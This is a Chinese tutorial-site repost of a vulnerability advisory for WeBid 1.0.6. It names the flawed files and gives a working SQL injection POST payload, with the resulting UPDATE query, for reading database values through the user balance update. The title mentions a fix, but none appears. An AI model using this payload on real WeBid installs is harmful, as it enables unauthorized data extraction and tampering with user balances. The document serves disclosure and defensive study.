网站地图    收藏   

主页 > 后端 > 网站安全 >

WeBid 1.0.6 SQL注射及修复 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 标题: WeBid 1.0.6 SQL Injection Vulnerability作者: Life Wasted http://www.webidsupport.com/影响版本: 1.0.6,已测试,其他版本可能也影响测试系统: Linux, Windows缺陷代码:Line 53 of the ......

标题: WeBid 1.0.6 SQL Injection Vulnerability
作者: Life Wasted  http://www.webidsupport.com/
影响版本: 1.0.6,已测试,其他版本可能也影响
测试系统: Linux, Windows
 
缺陷代码:
Line 53 of the validate.php file
Lines 198 through 202 and 234 in the includes/functions_fees.php file
 
测试证明

validate.php?toocheckout=asdf calls the toocheckout_validate() function
toocheckout_validate() takes unsanitized post input from 2 different parameters (total and cart_order_id)
toocheckout_validate() calls callback_process() if the post parameter credit_card_processed is equal to 'Y'
The unsanitized parameters are using in an UPDATE query:
$query = "UPDATE " . $DBPrefix . "users SET balance = balance + " . $payment_amount . $addquery . " WHERE id = " . $custom_id;
This allows an attacker to retrieve data using a time-based blind injection technique or by updating a pre-existing value to the output of an embedded query.
 
示例, the attacker could send the following post data to extract the name of the current database.
 
http://www.2cto.com /validate.php?toocheckout=asdf
POST DATA: cart_order_id=*Attackers UserID*WEBID1&credit_card_processed=Y&total=1, name=(SELECT database())
 
The resulting query would be:
UPDATE users SET balance = balance + 1, name=(SELECT database()) WHERE id = *Attackers User ID*
 
Then the attacker could sign in to their account and view the requested data by going to the edit_data.php page  

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论